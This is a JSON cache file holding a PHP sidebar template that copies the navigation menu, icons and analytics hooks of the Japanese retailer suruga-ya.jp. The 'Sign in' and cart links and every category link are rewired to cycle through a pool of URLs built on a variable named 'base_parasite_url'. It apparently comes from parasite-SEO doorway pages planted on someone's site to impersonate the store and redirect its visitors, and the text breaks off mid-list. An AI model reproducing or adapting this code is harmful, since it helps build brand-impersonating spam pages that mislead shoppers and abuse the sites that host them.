File: /home/sioberen/www/cache/code_1b860461e37684845b6944155d543bbb.json
{"code":0,"data":{"files":[{"content":"\u003c?php\n/**\n * ===================================================================\n * DYNAMIC SIDEBAR - CATEGORY NAVIGATION\n * ===================================================================\n * This module generates a multi-level sidebar navigation menu\n * based on the category tree prepared in `product.php`.\n * Maintains original structure but with internal links only.\n *\n * @var array $data The associative array containing all page details,\n * including 'category_tree'.\n * ===================================================================\n */\n\n// Removed local random product functions. This component now relies on\n// the pre-generated `$data['random_link']` and `$data['base_parasite_url']`\n// passed from the controller (`product.php`).\n\nfunction render_category_node(array $node, array \u0026$links_array, array $data, $level = 0) {\n if (empty($node)) {\n return;\n }\n\n echo '\u003cul class=\"sidebar-category-list level-' . $level . '\"' . ($level \u003e 0 ? ' style=\"display:none;\"' : '') . '\u003e';\n foreach ($node as $name =\u003e $item) {\n if (empty($name)) continue;\n $has_children = !empty($item['children']);\n \n // Use the cycling link dispenser to get a guaranteed random link.\n $link = get_next_random_link($data);\n\n echo '\u003cli\u003e';\n echo '\u003ca href=\"' . htmlspecialchars($link) . '\"\u003e' . htmlspecialchars($name) . '\u003c/a\u003e';\n \n if ($has_children) {\n echo '\u003cspan class=\"toggle-arrow ' . ($level \u003e 0 ? '' : 'top-level') . '\"\u003e\u0026gt;\u003c/span\u003e';\n render_category_node($item['children'], $links_array, $data, $level + 1);\n }\n echo '\u003c/li\u003e';\n }\n echo '\u003c/ul\u003e';\n}\n\n// This is our new \"link dispenser\". It cycles through the link pool\n// ensuring we never run out of unique, random links.\n$sidebar_link_index = 0;\nif (!function_exists('get_next_random_link')) {\n function get_next_random_link(array \u0026$data) {\n global $sidebar_link_index;\n \n // Fallback in case the pool is unexpectedly empty.\n if (empty($data['sidebar_links'])) {\n return $data['base_parasite_url'] . '/';\n }\n \n // Get the next link from the pool.\n $link = $data['sidebar_links'][$sidebar_link_index];\n \n // Increment the index and loop back to the start if we reach the end.\n $sidebar_link_index = ($sidebar_link_index + 1) % count($data['sidebar_links']);\n \n // 确保返回完整的URL格式\n if (strpos($link, 'http') !== 0) {\n // 如果不是完整URL,添加基础URL\n $link = $data['base_parasite_url'] . $link;\n }\n \n return $link;\n }\n}\n\n// Make a mutable copy of the links for the sidebar to consume.\n$sidebar_links_copy = $data['sidebar_links'];\n?\u003e\n\n\u003cdiv class=\"sidebar_suru\"\u003e\n \u003cdiv class=\"sidebar_suru_inner\"\u003e\n \u003c!-- Static Links --\u003e\n \u003cul class=\"sidebar-category-list level-0\"\u003e\n \u003cli\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003ecampaign\u003c/a\u003e\u003c/li\u003e\n \u003cli\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003eNew Arrivals\u003c/a\u003e\u003c/li\u003e\n \u003cli\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003ereservation\u003c/a\u003e\u003c/li\u003e\n \u003cli\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003eFeatured\u003c/a\u003e\u003c/li\u003e\n \u003cli\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003eWant to sell\u003c/a\u003e\u003c/li\u003e\n \u003c/ul\u003e\n \u003chr class=\"sidebar-divider\"\u003e\n \u003c!-- Dynamic Category Tree --\u003e\n \u003c?php\n if (!empty($data['category_tree'])) {\n render_category_node($data['category_tree'], $sidebar_links_copy, $data);\n }\n ?\u003e\n \u003c/div\u003e\n\u003c/div\u003e\n\n\u003cstyle\u003e\n/* Basic Sidebar Styling */\n.sidebar_suru { float: left; width: 240px; margin-right: 20px; }\n.sidebar_suru_inner { padding: 10px; border: 1px solid #ddd; }\n.sidebar-divider { border-top: 1px solid #eee; margin: 10px 0; }\n.sidebar-category-list { list-style: none; padding-left: 0; }\n.sidebar-category-list.level-0 \u003e li { border-bottom: 1px solid #f0f0f0; }\n.sidebar-category-list ul { padding-left: 15px; }\n.sidebar-category-list li { padding: 8px 5px; position: relative; }\n.sidebar-category-list a { text-decoration: none; color: #333; display: block; }\n.sidebar-category-list .toggle-arrow {\n position: absolute;\n right: 10px;\n top: 8px;\n cursor: pointer;\n font-size: 16px;\n color: #999;\n}\n\u003c/style\u003e\n\n\u003cscript\u003e\ndocument.addEventListener('DOMContentLoaded', function() {\n document.querySelectorAll('.sidebar_suru .toggle-arrow').forEach(arrow =\u003e {\n arrow.addEventListener('click', function(e) {\n e.preventDefault();\n let sublist = this.nextElementSibling;\n if (sublist \u0026\u0026 sublist.tagName === 'UL') {\n // Toggle display\n sublist.style.display = sublist.style.display === 'block' ? 'none' : 'block';\n // Optional: Rotate arrow\n this.style.transform = sublist.style.display === 'block' ? 'rotate(90deg)' : 'rotate(0deg)';\n }\n });\n });\n});\n\u003c/script\u003e\n\n\u003cnav id=\"sidebar_menu\" class=\"sidebar_menu sidebar_right\"\u003e\n\u003cdiv class=\"sidebar-header\"\u003e\n \u003cdiv class=\"list_sidebar_header logged\"\u003e\n \u003cdiv class=\"item_sidebar_header d-flex align-items-center\"\u003e\n \u003cimg src=\"https://cdn.suruga-ya.jp/pics/common/pc/user_black.svg\" title=\"user\" alt=\"user icon\" height=\"24px\" class=\"padR12\"\u003e\n \u003cdiv class=\"lineH18\"\u003e\n \u003cspan class=\"text-login\"\u003e\u003ca class=\"account-login\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'lt','eventLabel':this.href});\"\u003eSign in here\u003c/a\u003e\u003c/span\u003e\n \u003cspan class=\"text-logout\" style=\"display: none !important\"\u003e\u003csmall\u003eHello\u003c/small\u003e\u003cbr\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" class=\"text-blue account-name\"\u003e\u003c/a\u003e\u003c/span\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003cdiv class=\"item_sidebar_header d-flex align-items-center\"\u003e\n \u003cdiv class=\"d-flex justify-content-start align-content-center\"\u003e\n \u003cdiv class=\"sidebar_cart\"\u003e\n \u003cimg src=\"https://cdn.suruga-ya.jp/pics/common/pc/cart_black.svg\" title=\"cart\" alt=\"cart icon\" height=\"24px\"\u003e\n \u003cspan class=\"lbl_cart cart-number\"\u003e0\u003c/span\u003e\n \u003c/div\u003e\n \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'lt','eventLabel':this.href});\"\u003eCart is here\u003c/a\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003cdiv class=\"item_sidebar_header d-flex align-items-center text-logout\" style=\"display: none !important\"\u003e\n \u003cimg src=\"https://cdn.suruga-ya.jp/pics_webp/common/pc/logout.svg.webp\" title=\"user\" alt=\"user icon\" style=\"height: 24px;\" class=\"padR12\"\u003e\n \u003ca class=\"logout-link black-link\"\u003e\u003c/a\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\u003c/div\u003e\n\u003cdiv class=\"sidebar_scroll\" style=\"height: 744px;\"\u003e\n \u003cdiv class=\"sidebar_wrap padT0 bottom_line\"\u003e\n \u003cul class=\"list-unstyled components\"\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CB','eventLabel':this.href});\"\u003ecampaign\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CB','eventLabel':this.href});\"\u003eNew Arrivals\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CB','eventLabel':this.href});\"\u003ereservation\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CB','eventLabel':this.href});\"\u003eFeatured\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CB','eventLabel':this.href});\"\u003eWant to sell\u003c/a\u003e \u003c/li\u003e\n \u003c/ul\u003e\n \u003c/div\u003e\n \u003cdiv class=\"sidebar_wrap padT0\"\u003e\n \u003cul class=\"list-unstyled components\"\u003e\n\u003cli class=\"has-sub\"\u003e\n \u003cdiv class=\"grid-submenu\"\u003e\n \u003cspan data-target=\"#homeSubmenu1\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"\u003e\u003c/span\u003e\n \u003ca onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003eVideo software\u003c/a\u003e\n \u003c/div\u003e\n \u003cul class=\"collapse list-unstyled\" id=\"homeSubmenu1\" data-parent=\".sidebar_menu\"\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eanime\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003emovie\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eTV Drama\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003emusic\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eSpecial Effects\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eothers\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003estage\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eSports\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eComedy\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eHobbies and Culture\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003egravure\u003c/a\u003e \u003c/li\u003e\n \u003c/ul\u003e\n\u003c/li\u003e\n\u003cli class=\"has-sub\"\u003e\n \u003cdiv class=\"grid-submenu\"\u003e\n \u003cspan data-target=\"#homeSubmenu2\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"\u003e\u003c/span\u003e\n \u003ca onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003eMusic software\u003c/a\u003e\n \u003c/div\u003e\n \u003cul class=\"collapse list-unstyled\" id=\"homeSubmenu2\" data-parent=\".sidebar_menu\"\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eJapanese Music\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eWestern Music\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eClassic\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eAnime and Games\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eSoundtrack\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eTheatre/Musical\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003ejazz\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eothers\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eAsia\u003c/a\u003e \u003c/li\u003e\n \u003c/ul\u003e\n\u003c/li\u003e\n\u003cli class=\"has-sub\"\u003e\n \u003cdiv class=\"grid-submenu\"\u003e\n \u003cspan data-target=\"#homeSubmenu3\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"\u003e\u003c/span\u003e\n \u003ca onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003eToys \u0026amp; Hobbies\u003c/a\u003e\n \u003c/div\u003e\n \u003cul class=\"collapse list-unstyled\" id=\"homeSubmenu3\" data-parent=\".sidebar_menu\"\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eToys\u003c/a\u003e\u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003estuffed toy\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eDoll\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003epuzzle\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eMinicar\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eBoard games\u003c/a\u003e \u003c/li\u003e\n\n \u003chr\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eHobby\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eFigures\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003ePlastic Models\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eTrading Card Box Pack\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eTrading Cards Single Cards\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eRadio Control\u003c/a\u003e \u003c/li\u003e\n \u003c/ul\u003e\n\u003c/li\u003e\n\n\u003cli class=\"has-sub\"\u003e\n \u003cdiv class=\"grid-submenu\"\u003e\n \u003cspan data-target=\"#homeSubmenu4\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"\u003e\u003c/span\u003e\n \u003ca onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003eGoods and Fashion\u003c/a\u003e\n \u003c/div\u003e\n \u003cul class=\"collapse list-unstyled\" id=\"homeSubmenu4\" data-parent=\".sidebar_menu\"\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eclothing\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eaccessories\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eSmall items\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003estationery\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eSeals and stickers\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eStraps and Keychains\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eBags and sacks\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eTowels and hand towels\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eCushions, sheets, pillowcases\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003ecalendar\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003ePoster\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eTapestry\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003ePostcards and colored paper\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eTableware\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eHousehold goods\u003c/a\u003e \u003c/li\u003e\n \u003c/ul\u003e\n\u003c/li\u003e\n\u003cli class=\"has-sub\"\u003e\n \u003cdiv class=\"grid-submenu\"\u003e\n \u003cspan data-target=\"#homeSubmenu5\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"\u003e\u003c/span\u003e\n \u003ca onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003egame\u003c/a\u003e\n \u003c/div\u003e\n \u003cul class=\"collapse list-unstyled\" id=\"homeSubmenu5\" data-parent=\".sidebar_menu\"\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eVideo games\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eNintendo Switch\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003ePlayStation 5\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003ePortable Games\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eArcade Game Board\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eRetro games\u003c/a\u003e \u003c/li\u003e\n \u003c/ul\u003e\n\u003c/li\u003e\n\u003cli class=\"has-sub\"\u003e\n \u003cdiv class=\"grid-submenu\"\u003e\n \u003cspan data-target=\"#homeSubmenu6\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"\u003e\u003c/span\u003e\n \u003ca onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003ePC/Smartphone\u003c/a\u003e\n \u003c/div\u003e\n \u003cul class=\"collapse list-unstyled\" id=\"homeSubmenu6\" data-parent=\".sidebar_menu\"\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003ePC/tablet unit\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003ePeripherals\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eparts\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003esoft\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eWearables\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e 